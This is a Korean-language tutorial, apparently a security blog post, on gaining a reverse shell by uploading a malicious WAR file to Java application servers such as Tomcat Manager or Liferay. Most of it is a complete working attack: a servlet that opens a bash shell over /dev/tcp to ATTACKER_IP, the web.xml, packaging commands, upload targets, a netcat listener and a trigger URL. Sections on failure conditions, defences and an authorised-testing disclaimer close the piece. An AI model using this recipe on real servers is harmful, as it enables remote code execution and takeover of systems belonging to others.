Java 웹 애플리케이션에서는 모듈을 패키징하고 배포할 때 WAR 파일을 널리 사용합니다. Apache Tomcat, JBoss, WebLogic 같은 애플리케이션 서버가 대표적입니다. WAR 파일은 서블릿과 JSP 등을 정해진 구조로 담은 ZIP 파일입니다.
포틀릿을 지원하는 웹 애플리케이션에 .war 업로드나 배포 기능에 접근할 수 있다면, 이를 악용해 원격 코드 실행(RCE)이나 리버스 셸 연결이 가능할 수 있습니다. 이러한 기능이 정식으로 제공되는 경우뿐 아니라, 관리자 화면의 설정 오류로 업로드가 허용되는 경우도 해당합니다.
🔍 .war 파일이란?
.war(Web ARchive)는 Java EE 애플리케이션의 배포 패키지입니다. 일반적으로 다음 파일과 리소스를 포함합니다.
/WEB-INF/web.xml→ 배포 설정 파일- JSP 파일
- Java 클래스 파일(컴파일된 서블릿)
- HTML, JS, CSS 같은 정적 리소스
서버가 .war 파일을 자동 배포하거나 로그인한 사용자의 업로드를 허용하는 환경이라면, 서버 명령을 실행하는 코드를 악성 .war 파일에 담아 공격에 이용할 수 있습니다.
⚙️ .war 파일로 리버스 셸 배포하기
공격은 일반적으로 다음 순서로 진행됩니다.
1. 리버스 셸 서블릿 만들기
먼저 시스템 명령을 실행하는 Java 서블릿을 작성합니다. 아래는 교육용으로 작성한 간단한 리버스 셸 예제입니다.
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class ShellServlet extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String host = "ATTACKER_IP";
int port = 4444; String[] cmd = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/" + host + "/" + port + " 0>&1"};
Runtime.getRuntime().exec(cmd);
}
}
ATTACKER_IP와port에는 리스너를 실행할 컴퓨터의 IP 주소와 포트를 입력합니다.
2. .war로 패키징하기
폴더는 다음과 같이 구성합니다.
ReverseShell/
├── WEB-INF/
│ └── web.xml
└── ShellServlet.java
web.xml:
<web-app>
<servlet>
<servlet-name>ShellServlet</servlet-name>
<servlet-class>ShellServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ShellServlet</servlet-name>
<url-pattern>/shell</url-pattern>
</servlet-mapping>
</web-app>
컴파일한 뒤 .war 파일로 묶습니다.
javac ShellServlet.java
mkdir -p ReverseShell/WEB-INF/classes
mv ShellServlet.class ReverseShell/WEB-INF/classes/
cp web.xml ReverseShell/WEB-INF/
jar -cvf reverse.war -C ReverseShell/ .
이 과정을 마치면 배포용 reverse.war 파일이 생성됩니다.
🧪 3. 대상 서버에 WAR 업로드하기
포틀릿이나 관리자 화면에서 .war 파일을 업로드할 수 있다면, 앞서 만든 reverse.war를 업로드합니다. 일부 CMS, 개발 콘솔, 설정이 잘못된 대시보드에서 이런 업로드 기능을 찾을 수 있습니다.
대표적인 배포 인터페이스는 다음과 같습니다.
/manager/html(Apache Tomcat Manager)- Liferay Portlet Manager
- JBoss, Jenkins, WebLogic의 배포 인터페이스
📡 4. 셸 연결 받기
서블릿에 접속하기 전에 테스트에 사용하는 컴퓨터에서 리스너를 실행합니다.
nc -lvnp 4444
이후 브라우저에서 아래 주소로 접속합니다.
http://target.com/reverse/shell
페이로드가 실행되면 서버가 리스너로 접속하면서 리버스 셸이 연결됩니다.
🚫 공격이 실패하는 조건
이 공격이 가능한지는 서버 설정에 따라 크게 달라집니다. 다음 조건에서는 파일을 업로드하더라도 리버스 셸이 연결되지 않을 수 있습니다.
🔒 WAR 자동 배포가 비활성화된 경우
운영 환경에서는 다음과 같이 자동 배포를 비활성화해 둔 경우가 많습니다.
<Host name="localhost" appBase="webapps"
unpackWARs="true" autoDeploy="false">
자동 배포가 비활성화되어 있으면 .war 파일을 올리는 것만으로는 코드가 실행되지 않습니다.
🛑 업로드 또는 배포 권한이 없는 경우
애플리케이션에 .war 업로드 기능이 없거나 배포 콘솔에 접근할 수 없다면 이 방법을 사용할 수 없습니다.
🔐 Java SecurityManager 또는 샌드박스가 적용된 경우
서버에서 SecurityManager로 Java의 시스템 명령 실행을 제한하기도 합니다. Runtime.exec() 호출이 차단되면 리버스 셸도 실행되지 않습니다.
🧱 외부로 나가는 트래픽이 차단된 경우
방화벽 규칙 등으로 서버의 외부 TCP 연결이 막혀 있다면, 리버스 셸이 리스너에 연결할 수 없습니다.
📁 업로드 파일의 형식이나 내용을 검사하는 경우
일부 플랫폼은 업로드 파일의 형식이나 악성 코드 포함 여부를 검사하고, .war 파일의 업로드 자체를 허용하지 않기도 합니다. 업로드를 허용하더라도 의심스러운 Java 코드나 비정상적인 서블릿 매핑을 발견하면 차단할 수 있습니다.
✅ 대응 방안
- 신뢰할 수 없는 사용자의
.war업로드를 차단합니다. - 관리자·배포 콘솔에는 강력한 인증을 적용하고, 허용한 IP에서만 접근할 수 있도록 제한합니다.
- 서버에서 외부로 나가는 트래픽을 제한합니다.
- 배포 전에
.war파일을 검사합니다. - 환경이 지원한다면
SecurityManager나 샌드박스로 실행 권한을 제한합니다. - 서버 프로세스에는 운영에 필요한 최소한의 OS 권한만 부여합니다.
⚠️ 테스트 전 확인할 사항
이 글은 교육과 허가받은 보안 테스트를 위해 작성했습니다. 직접 소유한 시스템이나 명시적으로 테스트를 허가받은 시스템에서만 시도해야 합니다. 허가 없는 공격은 불법입니다.
.war 템플릿이나 재현 영상이 필요하시면 댓글이나 메시지로 남겨 주세요. 테스트는 반드시 허가받은 범위에서 안전하게 진행해야 합니다.